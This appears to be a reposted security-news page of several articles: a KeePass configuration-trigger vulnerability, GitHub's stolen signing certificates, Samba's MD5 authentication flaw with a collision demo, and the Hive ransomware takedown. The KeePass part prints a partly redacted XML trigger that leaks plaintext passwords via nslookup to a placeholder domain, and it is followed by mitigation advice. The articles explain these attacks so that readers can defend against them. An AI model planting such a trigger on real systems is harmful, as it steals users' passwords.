Perpetual IT

WHY DID THAT TAKE SO LONG?

Latest epidode – listen now.

With Doug Aamoth and Paul Ducklin

Intro and outro music by Edith Mudge.

You can listen to us on Soundcloud, Apple Podcasts, Google Podcasts, Spotify, Stitcher and anywhere that good podcasts are found. Or just drop the URL of our RSS feed into your favourite podcatcher.

READ THE TRANSCRIPT

It’s been a newsworthy few weeks for password managers – those handy utilities that help you come up with a different password for every website you use, and then to keep track of them all.

At the end of 2022, it was the turn of LastPass to be all over the news, when the company finally admitted that a breach it suffered back in August 2022 did indeed end up with customers’ password vaults getting stolen from the cloud service where they were backed up.

(The passwords themselves weren’t stolen, because the vaults were encrypted, and LastPass didn’t have copies of anyone’s “master key” for the backup vault files themselves, but it was a closer shave than most people were happy to hear.)

Then it was LifeLock’s turn to be all over the news, when the company warned about what looked like a rash of password guessing attacks, probably based on passwords stolen from a completely different website, possibly some time ago, and perhaps purchased on the dark web recently.

LifeLock itself hadn’t been breached, but some of its users had, thanks to password-sharing behaviour caused by risks they might not even remember having taken.

Competitiors 1Password and BitWarden have been in the news recently, too, based on reports of malicious ads, apparently unwittingly aired by Google, that convincingly lured users to replica logon pages aimed at phishing their account details.

Now it’s KeePass’s turn to be in the news, this time for yet another cybersecurity issue: an alleged vulnerability, the jargon term used for software bugs that lead to cybersecurity holes that attackers might be able to exploit for evil purposes.

Password sniffing made easy

We’re referring to it as a vulnerability here because it does have an official bug identifier, issued by the US National Institute for Standards and Technology.

The bug has been dubbed CVE-2023-24055: Attacker who has write access to the XML configuration file [can] obtain the cleartext passwords by adding an export trigger.

The claim about being able to obtain cleartext passwords, unfortunately, is true.

If I have write access to your personal files, including your so-called %APPDATA% directory, I can sneakily tweak the configuration section to modify any KeePass settings that you have already customised, or to add customisations if you haven’t knowingly changed anything…

…and I can surprisingly easily steal your plaintext passwords, either in bulk, for example by dumping the whole database as an unencrypted CSV file, or as you use them, for example by setting a “program hook” that triggers every time you access a password from the database.

Note that I don’t need Administrator privileges, because I don’t need to mess with the actual installation directory where the KeePass app gets stored, which is typically off-limits to regular userse

And I don’t need access to any locked-down global configuration settings.

Interestingly, KeePass goes out of its way to stop your passwords being sniffed out when you use them, including using tamper-protection techniques to stop various anti-keylogger tricks even from users who already have sysadmin powers.

But the KeePass software also makes it surprisingly easy to capture plaintext password data, perhaps in ways you might consider “too easy”, even for non-administrators.

It was a minute’s work to use the KeePass GUI to create a Trigger event to run every time you copy a password into the clipboard, and to set that event to do a DNS lookup that included both the username and the plaintext password in question:

We could then copy the not-terribly-obvious XML setting for that option out of our own local configuration file into the configuration file of another user on the system, after which they too would find their passwords being leaked over the internet via DNS lookups.

Even though the XML configuration data is largely readable and informative, KeePass curiously uses random data strings known as GUIDs (short for globally unique identifiers) to denote the various Trigger settings, so that even a well-informed user would need an extensive reference list to make sense of which triggers are set, and how.

Here’s what our DNS-leaking trigger looks like, though we redacted some of the details so you can’t get up to any immediate mischief just by copying-and-pasting this text directly:

<Trigger> <Guid>XXXXXXXXXXXXXXXXXXXX</Guid> <Name>Copy</Name> <Comments>Steal stuff via DNS lookups</Comments> <Events> <Event> <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid> <Parameters> <Parameter>0</Parameter> <Parameter /> </Parameters> </Event> </Events> <Conditions /> <Actions> <Action> <TypeGuid>XXXXXXXXXXXXXXXXXXXX</TypeGuid> <Parameters> <Parameter>nslookup</Parameter> <Parameter>XXXXX.XXXXX.blah.test</Parameter> <Parameter>True</Parameter> <Parameter>1</Parameter> <Parameter /> </Parameters> </Action> </Actions>
</Trigger>

With this trigger active, accessing a KeePass password causes the plaintext to leak out in an unobtrusive DNS lookup to a domain of my choice, which is blah.test in this example.

Note that real-life attackers would almost certainly scramble or obfuscate the stolen text, which would not only make it harder to spot when DNS leaks were happening, but also take care of passwords containing non-ASCII characters, such as accented letters or emojis, that can’t otherwise be used in DNS names:

But is it really a bug?

The tricky question, however, is, “Is this really a bug, or is it just a powerful feature that could be abused by someone who would already need at least as much control over your private files as you have yourself?”

Simply put, is it a vulnerability if someone who already has control of your account can mess with files that your account is supposed to be able to access anyway?

Even though you might hope that a pssword manager would include lots of extra layers of tamper-protection to make it harder for bugs/features of this sort to be abused, should CVE-2023-24055 really be a CVE-listed vulnerability?

If so, wouldn’t commands such as DEL (delete a file) and FORMAT need to be “bugs”, too?

And wouldn’t the very existence of PowerShell, which makes potentially dangerous behaviour much easier to provoke (try powerhsell get-clipboard, for instance), be a vulnerability all of its own?

That’s KeePass’s position, acknowledged by the following text that has been added to the “bug” detail on NIST’s website:

** DISPUTED ** […] NOTE: the vendor’s position is that the password database is not intended to be secure against an attacker who has that level of access to the local PC.

What to do?

If you’re a standalone KeePass user, you can check for rogue Triggers like the “DNS Stealer” we created above by opening the KeePass app and perusing the Tools > Triggers… window:

Note that you can turn the entire Trigger system off from this window, simply by deslecting the [ ] Enable trigger system option…

…but that isn’t a global setting, so it can be turned back on again via your local configuration file, and therefore only protects you from mistakes, rather than from an attacker with access to your account.

You can force the option off for everyone on the computer, with no option for them to turn it back on themselves, by modifying the global “lockdown” file KeePass.config.enforced.XML, found in the directory where the app program itself is intalled.

Triggers will be forced off for everyone if your global XML enforcement file looks like this:

<?xml version="1.0" encoding="utf-8"?>
<Configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Application> <TriggerSystem> <Enabled>false</Enabled> </TriggerSystem> </Application>
</Configuration>

(In case you’re wondering, an attacker who has write access to the application directory to reverse this change would almost certainly have enough system-level power to modify the KeePass executable file itself, or to install and activate a standalone keylogger anyway.)

If you’re a network administrator tasked with locking down KeePass on your users’ computers so that it’s still flexible enough to help them, but not flexible enough for them to help cybercriminals by mistake, we recommend reading through the KeePass Security Issues page, the Triggers page, and the Enforced Configuration page.

Another day, another access-token-based database breach.

This time, the victim (and in some ways, of course, also the culprit) is Microsoft’s GitHub business.

GitHub claims that it spotted the breach quickly, the day after it happened, but by then the damage had been done:

On December 6, 2022, repositories from our atom, desktop, and other deprecated GitHub-owned organizations were cloned by a compromised Personal Access Token (PAT) associated with a machine account. Once detected on December 7, 2022, our team immediately revoked the compromised credentials and began investigating potential impact to customers and internal systems.

Simply put: someone used a pre-generated access code acquired from who-knows-where to leech the contents of various source code repositories that belonged to GitHub itself.

We’re guessing that GitHub keeps its own code on GitHub (it would be something of a vote of no confidence in itself if it didn’t!), but it wasn’t the underlying GitHub network or storage infrastructure that was breached, just some of GitHub’s own projects that were stored there.

Beachheads and lateral movement

Think of this breach like a crook getting hold of your Outlook email archive password and downloading your last month’s worth of messages.

By the time you noticed, your own email would already be gone, but neither Outlook itself nor other users’ accounts would have been directly affected.

Note, however, our careful use of the word “directly” in the previous sentence, because the compromise of one account on a system may lead to knock-on effects against other users, or even against the system as a whole.

For example, your corporate email account almost certainly contains correspondence to and from your colleagues, your IT department and other companies.

In those emails you may have revealed confidential information about account names, system details, business plans, logon credentials, and more.

Using attack intelligence from one part of a system to wriggle into other parts of the same or other systems is known in the jargon as lateral movement, where cybercriminals first establish what you might call a “beachhead of compromise”, and then try to extend their access from there.

What’s in your repositories, anyway?

In the case of stolen source code databases, whether they’re stored on GitHub or elsewhere, there’s always the risk that a private repository might include access credentials to other systems, or let cybercriminals get at code signing certificates that are used when actually building the software for public release.

In fact, this sort of data leakage can even be a problem for public repositories, including open-source source code projects that aren’t secret, and are supposed to be downloadable by anybody.

Open source data leakage can happen when developers inadvertently bundle up private files from their development network into the public code package that they ultimately upload for everyone to access.

This sort of mistake can lead to the very public (and very publicly searchable) leak of private configuration files, private server access keys, personal access tokens and passwords, and even entire directory trees that were simply in the wrong place at the wrong time.

For better or for worse, it’s taken GitHub nearly two months to figure out just how much stuff their attackers got hold of in this case, but the answers are now out, and it looks as though:

• The crooks got hold of code signing certificates for the GitHub Desktop and Atom products. This means, in theory, that they could publish rogue software with an official Github seal of approval on it. Note that you wouldn’t already need to be an existing user of either of those specific products to be fooled – the criminals could give GitHub’s imprimatur to almost any software they wanted.
• The stolen signing certificates were encrypted, and the crooks apparently didn’t get the passwords. This means, in practice, that even though the crooks have the certificates, they won’t be able to use them unless and until they crack those passwords.

The mitigating factors

That sounds like pretty good news out of what was a bad start, and what makes the news better yet is:

• Only three of the certificates had not yet expired on the day they were stolen. You can’t use an expired certificate to sign new code, even if you have the password to decrypt the certificate.
• One stolen certificate expired in the interim, on 2023-01-04. That certificate was for signing Windows programs.
• A second stolen certificate expires tomorrow, 2023-02-01. That’s also a signing certificate for Windows software.
• The last certificate only expires in 2027. This one is for signing Apple apps, so GitHub says it is “working with Apple to monitor for any […] new apps signed.” Note that the crooks would still need to crack the certificate password first.
• All affected certificates will be revoked on 2023-02-02. Revoked certificates are added to a special checklist that operating systems (along with apps such as browsers) can use to block content vouched for by certificates that should no longer be trusted.
• According to GitHub, no unauthorised changes were made to any of the repositories that were leeched. It looks as though this was a “read only” compromise, where the attackers were able to look, but not to touch.

What to do?

The good news is that if you aren’t a GitHub Desktop or Atom user, there’s nothing that you immediately need to do.

If you have GitHub Desktop, you need to upgrade before tomorrow, to ensure that you have replaced any instances of the app that were signed with a certificate that is about to be flagged bad.

If you are still using Atom (which was discontinued in June 2022, and ended its life as an official GitHub software project on 2022-12-15), you will somewhat curiously need to downgrade to a slightly older version that wasn’t signed with a now-stolen certificate.

Given that Atom has already reached the end of its official life, and won’t be getting any more security updates, you should probably replace it anyway. (The ultra-popular Visual Studio Code, which also belongs to Microsoft, seems to be the primary reason that Atom was discontinued in the first place.)

If you’re a developer or a software manager yourself…

…why not use this as an incentive to go and check:

• Who’s got access to which parts of our development network? Especially for legacy or end-of-life projects, are there any legacy users who still have left-over access they don’t need any more?
• How carefully is access to our code repository locked down? Do any users have passwords or access tokens that could easily be stolen or misused if their own computers were compromised?
• Has anyone uploaded files that shouldn’t be there? Windows can mislead even experienced users by suppressing the extensions at the end of filenames, so you aren’t always sure which file is which. Linux and Unix systems, including macOS, automatically hide from view (but not from use!) any files and directories that start with a dot (period) character.

Samba, simply put, is a super-useful, mega-popular, open-source reimplementation of the networking protocols used in Microsoft Windows, and its historical importance in internetworking (connecting two different sorts of network together) cannot be underestimated.

In the late 1990s, Microsoft networking shed its opaque, proprietary nature and became an open standard known as CIFS, short for common internet file system.

But there was nothing “common” or “open” about it in the early 1990s, when Australian academic Andrew Tridgell set out to correct that by implementing a compatible system that would let him connect his Unix computer to a Windows network, and vice versa.

Back then, the protocol was officially referred to as SMB, short for server message block (a name that you still hear much more frequently than CIFS), so Tridge, as Andrew Tridgell is known, understandably called his project “SMBserver”, because that’s what it was.

But a a commercial product of that name already existed, so a new moniker was needed.

That’s when the project became known as Samba, a delightfully memorable name that resulted from a dictionary search for words of the form S?M?B?.

In fact, samba is still the first word out of the gate alphabetically in the dict file commonly found on Unix computers, followed by the rather ill-fitting word scramble and the totally inappropriate scumbag:

Some bugs you make, but some bugs you get

Over the years the Samba project has not only introduced and fixed its own unique bugs, as any complex software project generally does, but also inherited bugs and shortcomings in the underlying protocol, given that its goal has always been to work seamlessly with Windows networks.

(Sadly, so-called bug compatibility is often an unavoidable part of building a new system that works with an existing one.)

Late in 2022, one of those “inherited vulnerabilities” was found and reported to Microsoft, given the identifier CVE-2022-38023, and patched in the November 2022 Patch Tuesday update.

This bug could have allowed an attacker to change the content of some network data packets without getting detected, despite the use of cryptographic MACs (message authentication codes) intended to prevent spoofing and tampering.

Notably, by manipulating data at logon time, cunning cybercriminals could pull off an elevation-of-privilege (EoP) attack.

They could, in theory at least, trick a server into thinking they’d passed the “do you have Administrator credentials?” test, even though they didn’t have those credentials and their fake data should have failed its cryptographic verification.

Cryptographic agility

We decided to write about this rather esoteric bug not because we think you’re terribly likely to be exploited by it (though when it comes to cybersecurity, we take the attitude never say never), but because it’s a yet another reminder of why cryptographic agility is important.

Collectively, we need both the skill and the will to leave beind old algorithms for good as soon as they’re found to be flawed, and not to leave them lying around indefinitely until they turn into somebody else’s problem. (That “somebody else” may well turn out to be us, ten years down the road.)

Astonishingly, the CVE-2022-38023 vulnerability existed in the first place because both Windows and Samba still supported a style of integrity protection based on the long-deprecated hashing algorithm MD5.

Simply put, network authentication using Microsoft’s version of the Kerberos protocol still allowed data to be integrity-protected (or checksummed, to use the casual but not strictly accurate jargon term) using flawed cryptography.

You shouldn’t be using MD5 any more because it’s considered broken: a determined attacker can easily come up with two different inputs that end up with the same MD5 hash.

As you probably already know, however, one of the requirements of any hash that claims cryptographic quality is that this simply shouldn’t be possible.

In the jargon, two inputs that have the same hash is known as a collision, and there aren’t supposed to be any programmatic tricks or shortcuts to help you find one quickly.

There should be no way to find a collision that’s better than simple good luck – trying over and over again with ever-changing input files until you hit the jackpot.

The true cost of a collision

Assuming a reliable algorithm, with no exploitable weaknesses, you’d expect that a hash with X bits of output would need about 2^X-1 tries to find a second input that collided with the hash of an existing file.

Even if all you wanted to do was to find any two inputs (two arbitrary inputs, regardless of content, size or structure) that just happened to have the same hash, you’d expect to need slightly more than 2^X/2 tries before you hit upon a collision.

Any hashing algorithm that can be reliably be “cracked” faster than that isn’t cryptographically safe, because you’ve shown that its internal process for shredding-chopping-and-stirring-up the data that’s fed into it doesn’t produce a truly pseudorandom result at all.

Note that any better-than-chance cracking procedure, even if it only speeds up the collision generation process slightly and therefore wouldn’t currently be an exploitable risk in real life, destroys faith in the underlying cryptographic algorithm by undermining its claims of cryptographic correctness.

If there are 2^X different possible hash outputs, you’d hope to hit a 50:50 chance of finding an input with a specific, pre-determined hash after about half as many tries, and 2^X/2 = 2^X-1. Finding any two files that collide is easier, because every time you try a new input, you win if your new hash collides with any of the previous inputs you’ve already tried, because any pair of inputs is allowed. For a collision of the “any two files in this giant bucket will do” sort, you hit the 50:50 chance of success at just slightly more than the square root of the number of possible hashes, and √2^X = 2^X/2. So, for a 128-bit hash such as MD5, you’d expect, on average, to hash about 2¹²⁷ blocks to match a specific output value, and 2⁶⁴ blocks to find any pair of colliding inputs.

Fast MD5 collisions made easy

As it happens, you can’t easily generate two completely different, unrelated, pseudorandom inputs that have the the same MD5 hash.

And you can’t easily go backwards from an MD5 hash to uncover anything about the specific input that produced it, which is another cryptographic promise that a reliable hash needs to keep.

But if you start with two identical inputs and carefully insert a deliberately-calculated pair of “collision-building” chunks at the same point in each input stream, you can reliably create MD5 collisions in seconds, even on a modest laptop.

For example, here’s a Lua program we wrote that can conveniently be chopped into three distinct sections, each 128 bytes long.

There’s a code prefix that ends with a line of text that starts a Lua comment (the string starting --[== in line 8), then there are 128 bytes of comment text that can be replaced with anything we like, because it’s ignored when the file runs (lines 9 to 11), and there’s a code suffix of 128 bytes that closes the comment (the string starting --]== in line 12) and finishes off the program.

Even if you’re not a programmer, you can probably see that the active code reads in the contents [line 14] of the source code file itself (in Lua, the value arg[0] on line 5 is the name of the script file that you’re currently running), then prints it out as a hex dump [line 15] , followed by its MD5 hash [line 17]:

Running the file is essentially self-descriptive, and makes the three 128-byte blocks obvious:

Using an MD5 research tool called md5_fastcoll, originally created by mathematician Marc Stevens as part of his Masters’ degree in cryptography back in 2007, we quickly produced two 128-byte “MD5 collision-building” chunks that we used to replace the comment text shown in the file above.

This created two files that both still work as they did before, because the changes are confined to the comment, which doesn’t affect the executable code in either file.

But they are visibly different in several bytes, and should therefore have completely different hash values, as the following code diff (jargon for dump of detected differences) reveals.

We’ve converted the 128-byte collision-creating chunks, which don’t make sense as printable text, into hexadecimal for clarity:

Running them both, however, clearly shows that they represent a hash collision, because they turn out to have the same MD5 output:

Collision complexity explored

MD5 is a 128-bit hash, as the output strings above make clear.

So, as mentioned before, we’d expect to need about 2^128/2, or 2⁶⁴ tries on average in order to produce an MD5 collision of any sort.

That means processing a mimimum of about 18 quintillion MD5 hash blocks, because 2⁶⁴ = 18,446,744,073,709,551,616.

At an estimated peak MD5 hash rate of about 50,000,000 blocks/second on our laptop, that means we’d have to wait more than 10,000 years, and although well-funded attackers might easily go 10,000 to 100,000 times faster than that, even they would be waiting weeks or months just for a single random (and not necessarily useful) collison to turn up.

Yet the above pair of two-faced Lua files, which have exactly the same MD5 hash despite quite clearly not being identical, took us a just a few seconds to prepare.

Indeed, generating 10 different collisions for 10 files, using 10 different starting prefixes that we chose ourselves, took us: 14.9sec, 4.7sec, 2.6sec, 2.1sec, 10.5sec, 2.4sec, 2.0sec, 0.14sec, 8.4sec, and 0.43sec.

Clearly, MD5’s cryptographic promise to provide what’s known as collision resistance is fundamentally broken…

…apparently by a factor of at least 25 billion, based on dividing the average time we’d expect to wait to find a collision (thousands of years, as estimated above) by the worst time we actually measured (14.9 seconds) while churning out ten different collisions just for this article.

The authentication flaw explained

But what about the unsafe use of MD5 in CVE-2022-38023?

In Lua-style pseudocode, the defective message authentication code used during logons was calculated like this:

To explain: the authentication code that’s used is calculated by the hmac.md5() function call in line 15, using what’s known as a keyed hash, in this case HMAC-MD5.

The name HMAC is short for cryptographic construction for generating hash-based message authentication codes, and the -MD5 suffix denotes the hashing algorithm it’s using internally.

HMAC uses a secret key, combined with two invocations of the underlying hash, instead of just one, to produce its message authentication code:

The key has some of its bits flipped first, and gets prepended to the supplied data before the first hash starts.

This greatly reduces the control that cryptographic crackers have, when they are trying to provoke a collision or other non-random behaviour in the hashing process, over the internal state of the hash function when the first bytes of the input data are reached.

Notably, the secret key prevents attackers from starting with a message prefix of their own choice, as we did in the twohash.lua example above.

Then, once the first hash is calculated, the key has a different set of bits flipped, gets prepended to that first hash value, and this new input data is hashed a second time.

This prevents the attackers from manipulating the final part of the HMAC calculation, too, notably preventing them appending a suffix of their own choice to the last stage of the hashing process.

Indeed, even though you shouldn’t be using MD5 at all, we’re not aware of any current attacks that can break the algorithm when it is used in HMAC-MD5 form with a randomly-chosen key.

The hole’s in the middle

The exploitable hole in the pseudocode above, therefore, isn’t in either of the lines where the hmac.md5() function is used.

Instead, the heart of the bug is line 11, where the data you want to authenticate is compressed into a fixed-length string…

.. by pushing it through a single invocation of plain old MD5.

In other words, no matter what HMAC function you choose in line 15, and no matter how strong and collision-resistant that final step might be, you nevertheless have a chance to cause a hash collision at line 11.

Simply put, if you know the data that’s supposed to go into the chksum() function to be authenticated, and you can use a collision generator to find a different block of data with the same MD5 hash…

…line 11 means that you’ll end up with exactly the same input value (the variable signdat in the pseudocode) getting pushed into the as-secure-as-you-like final HMAC step.

Therefore, even though you may be using a strong keyed message digest function at the end, you nevertheless might be authenticating an MD5 hash that was derived from imposter data.

Less would have been more

As Samba’s security bulletin compactly describes the problem:

The weakness […] is that the secure checksum is calculated as HMAC-MD5(MD5(DATA),KEY), meaning that an active attacker knowing the plaintext data could create a different chosen DATA, with the same MD5 checksum, and substitute it into the data stream without being detected.

Ironically, leaving out the MD5(DATA) part of the HMAC formula above, which seems at first glance to increase the overall “mixing” process, would improve collision resistance.

Without that MD5 compression in the middle, you would need to find a collision in HMAC-MD5 itself, which probably isn’t possible in 2023, even with almost unlimited government funding, at least not within the lifetime of the network session you were trying to compromise.

What took so long?

By now, you’re probably wondering, as we were, why this bug lay undiscovered, or at least unpatched, for so long.

After all, RFC 6151, which dates right back to 2011, and has the significant-sounding title Updated Security Considerations for the MD5 Message-Digest and the HMAC-MD5 Algorithms, advises as follows (our emphasis, more than a decade later):

The attacks on HMAC-MD5 do not seem to indicate a practical vulnerability when used as a message authentication code. Therefore, it may not be urgent to remove HMAC-MD5 from the existing protocols. However, since MD5 must not be used for digital signatures, for a new protocol design, a ciphersuite with HMAC-MD5 should not be included.

It seems, however, because the vast majority of recent SMB server platforms have HMAC-MD5 authentication turned off when users try to log on, that SMB clients still supporting this insecure mode generally never used it (and would have failed anyway if they’d tried).

Clients implicitly seemed to be “protected”, and the insecure code seemed to be as good as harmless, because the weak authentication was neither needed nor used.

So the potential problem simply never got the attention it deserved.

Unfortunately, this sort “security by assumption” fails completely if you happen to come across (or get lured towards) a server that does accept this insecure chksum() algorithm during logon.

This sort of “downgrade problem” is not new: back in 2015, researchers devised the notorious FREAK and LOGJAM attacks, which deliberately tricked network clients into use so-called EXPORT ciphers, which were the deliberately-weakened encryption modes that the US government bizarrely insisted on by law last century.

As we wrote back then:

EXPORT key lengths were chosen to be just about crackable in the 1990s, but never extended to keep up with advances in processor speed.

That’s because export ciphers were abandoned by the US in about 2000.

They were a silly idea from the start: US companies just imported cryptographic software that had no export restrictions, and hurt their own software industry.

Of course, once the law-makers gave way, the EXPORT ciphersuites become superfluous, so everyone stopped using them.

Sadly, a lot of cryptographic toolkits, including OpenSSL and Microsoft’s SChannel, kept the code to support them, so you (or, more worryingly, well-informed crooks) weren’t stopped from using them.

This time, the main culprit amongst servers that still use this broken MD5-plus-HMAC-MD5 process seems to be the NetApp range, in which some products apparently continue (or did until recently) to rely on this risky algorithm.

Therefore you may still sometimes be going through a vulnerable network logon process, and be at risk from CVE-2022-38023, perhaps without even realising it.

What to do?

This bug has finally been dealt with, at least by default, in the latest release of Samba.

Simply put, Samba version 4.17.5 now forces the two options reject md5 clients = yes and reject md5 servers = yes.

This means that any cryptographic components in the various SMB networking protocols that involve the MD5 algorithm (even if they are theoretically safe, like HMAC-MD5), are prohibited by default.

If you really need to, you can turn them back on for accessing specific servers in your network.

Just make sure, if you do create exceptions that internet standards have already officially advised against for more than a decade…

…that you set yourself a date by which you will finally retire those non-default options forever!

Cryptographic attacks only ever get smarter and faster, so never rely on outdated protocols and algorithms simply “not being used any more”.

Strip them out of your code altogether, because if they aren’t there at all, you CAN’T use them, and you can’t be tricked into using them by someone who’s trying to lure you into insecurity.

Six months ago, according to the US Department of Justice (DOJ), the Federal Bureau of Investigation (FBI) infiltrated the Hive ransomware gang and started “stealing back” the decryption keys for victims whose files had been scrambled.

As you are almost certainly, and sadly, aware, ransomware attacks these days typically involve two associated groups of cybercriminals.

These groups often “know” each other only by nicknames, and “meet” only online, using anonymity tools to avoid actually knowing (or revealing, whether by accident or design) each others’ real-life identities and locations.

The core gang members stay largely in the background, creating malicious programs that scramble (or otherwise block access to) all your important files, using an access key that they keep to themselves after the damage is done.

They also run one or more darkweb “payment pages” where victims, loosely speaking, go to pay blackmail money in return for those access keys, thus allowing them to unlock their frozen computers, and get their companies running again.

Crimeware-as-a-Service

This core group is surrounded by a possibly large and ever-changing group of “affiliates” – partners in crime who break into other people’s networks in order to implant the core gang’s “attack programs” as widely and deeply as possible.

Their goal, motivated by a “commission fee” that may be as much as 80% of the total blackmail paid, is to create such widespread and sudden disruption to a business that they can not only demand an eye-watering extortion payment, but also to leave the victim with little choice but to pay up.

This arrangement is generally known as RaaS or CaaS, short for ransomware (or crimeware) as-a-service, a name that stands as an ironic reminder that the cybercriminal underworld is happy to copy the affiliate or franchise model used by many legitimate businesses.

Recovering without paying

There are three main ways that victims can get their businesses back on the rails without paying up after a successful network-wide file-lockout attack:

• Have a robust and efficient recovery plan. Generally speaking, this means not only having a top-notch process for making backups, but also knowing how to keep at least one backup copy of everything safe from the ransomware affiliates (they like nothing better than to find and destroy your online backups before unleashing the final phase of their attack). You also need to have practised how to restore those backups reliably and quickly enough that doing so is a viable alternative to simply paying up anyway.
• Find a flaw in the file lockout process used by the attackers. Usually, ransomware crooks “lock” your files by encrypting them with the very same sort of secure cryptography that you might use yourself when securing your web traffic or your own backups. Occasionally, however, the core gang makes one or more programming blunders that may allow you to use a free tool to “crack” the decryption and recover without paying. Be aware, however, that this path to recovery happens by luck, not by design.
• Get hold of the actual recovery passwords or keys in some other way. Although this is rare, there are several ways it can happen, such as: identifying a turncoat inside the gang who will leak the keys in a fit of conscience or a burst of spite; finding a network security blunder allowing a counter-attack to extract the keys from the crooks’ own hidden servers; or infiltrating the gang and getting undercover access to the needed data in the criminals’ network.

The last of these, infiltration, is what the DOJ says it’s been able to do for at least some Hive victims since July 2022, apparently short-circuiting blackmail demands totalling more than $130 million dollars, relating to more than 300 individual attacks, in just six months.

We’re assuming that the $130 million figure is based on the attackers’ initial demands; ransomware crooks sometimes end up agreeing to lower payments, preferring to take something rather than nothing, although the “discounts” offered often seem to reduce the payments only from unaffordably vast to eye-wateringly huge. The mean average demand based on the figures above is $130M/300, or close to $450,000 per victim.

Hospitals considered fair targets

As the DOJ points out, many ransomware gangs in general, and the Hive crew in particular, treat any and all networks as fair game for blackmail, attacking publicly-funded organisations such as schools and hospitals with just the same vigour that they use against the wealthiest commercial companies:

[T]he Hive ransomware group […] has targeted more than 1500 victims in over 80 countries around the world, including hospitals, school districts, financial firms, and critical infrastructure.

Unfortunately, even though infiltrating a modern cybercrime gang might give you fantastic insights into the gang’s TTPs (tools, techniques and procedures), and – as in this case – give you a chance of disrupting their operations by subverting the blackmail process on which those eye-watering extortion demands are based…

…knowing even a gang administrator’s password to the criminals’ darkweb-based IT infrastructure generally doesn’t tell you where that infrastructure is based.

Bidirectional pseudoanonymity

One of the great/terrible aspects of the darkweb (depending on why you’re using it, and which side you are on), notably the Tor (short for the onion router) network that is widely favoured by today’s ransomware criminals, is what you might call its bidirectional pseudoanonymity.

The darkweb doesn’t just shield the identity and location of the users who connect to servers hosted on it, but also hides the location of the servers themselves from the clients who visit.

The server (for the most part, at least) doesn’t know who you are when you log in, which is what attracts clients such as cybercrime affiliates and would-be darkweb drug buyers, because they tend to feel that they’ll be able to cut-and-run safely, even if the core gang operators get busted.

Similarly, rogue server operators are attracted by the fact that even if their clients, affiliates or own sysadmins get busted, or turned, or hacked by law enforcement, they won’t be able to reveal who the core gang members are, or where they host their malicious online activities.

Takedown at last

Well, it seems that the reason for yesterday’s DOJ press release is that FBI investigators, with the assistance of law enforcement in both Germany and the Netherlands, have now identified, located and seized the darkweb servers that the Hive gang were using:

Finally, the department announced today[2023-01-26] that, in coordination with German law enforcement (the German Federal Criminal Police and Reutlingen Police Headquarters-CID Esslingen) and the Netherlands National High Tech Crime Unit, it has seized control of the servers and websites that Hive uses to communicate with its members, disrupting Hive’s ability to attack and extort victims.

What to do?

We wrote this article to applaud the FBI and its law enforcement partners in Europe for getting this far…

…investigating, infiltrating, reconnoitering, and finally striking to implode the current infrastructure of this notorious ransomware crew, with their half-million-dollars-on-average blackmail demands, and their willingness to take out hospitals just as readily as they go after anyone else’s network.

Unfortunately, you’ve probably already heard the cliche that cybercrime abhors a vacuum, and that is sadly true for ransomware operators as much as it is for any other aspect of online criminality.

If the core gang members aren’t arrested, they may simply lie low for a while, and then spring up under a new name (or perhaps even deliberately and arrogantly revive their old “brand”) with new servers, accessible once again on the darkweb but at a new and now unknown location.

Or other ransomware gangs will simply ramp up their operations, hoping to attract some of the “affiliates” that were suddenly left without their lucratively unlawful revenue stream.

Either way, takedowns like this are something we urgently need, that we need to cheer when they happen, but that are unlikely to put more than a temporary dent in cybercriminality as a whole.

To reduce the amount of money that ransomware crooks are sucking out of our economy, we need to aim for cybercrime prevention, not merely cure.

Detecting, responding to and thus preventing potential ransomware attacks before they start, or while they’re unfolding, or even at the very last moment, when the crooks to try unleash the final file-scrambling process across your network, is always better than the stress of trying to recover from an actual attack.

As Mr Miagi, of Karate Kid fame, knowingly remarked, “Best way to avoid punch – no be there.”

LISTEN NOW: A DAY IN THE LIFE OF A CYBERCRIME FIGHTER

Paul Ducklin talks to Peter Mackenzie, Director of Incident Response at Sophos, in a cybersecurity session that will alarm, amuse and educate you, all in equal measure.

Learn how to stop ransomware crooks before they stop you! (Full transcript available.)

Short of time or expertise to take care of cybersecurity threat response? Worried that cybersecurity will end up distracting you from all the other things you need to do? Not sure how to respond to security reports from employees who are genuinely keen to help?

Learn more about Sophos Managed Detection and Response:
24/7 threat hunting, detection, and response  ▶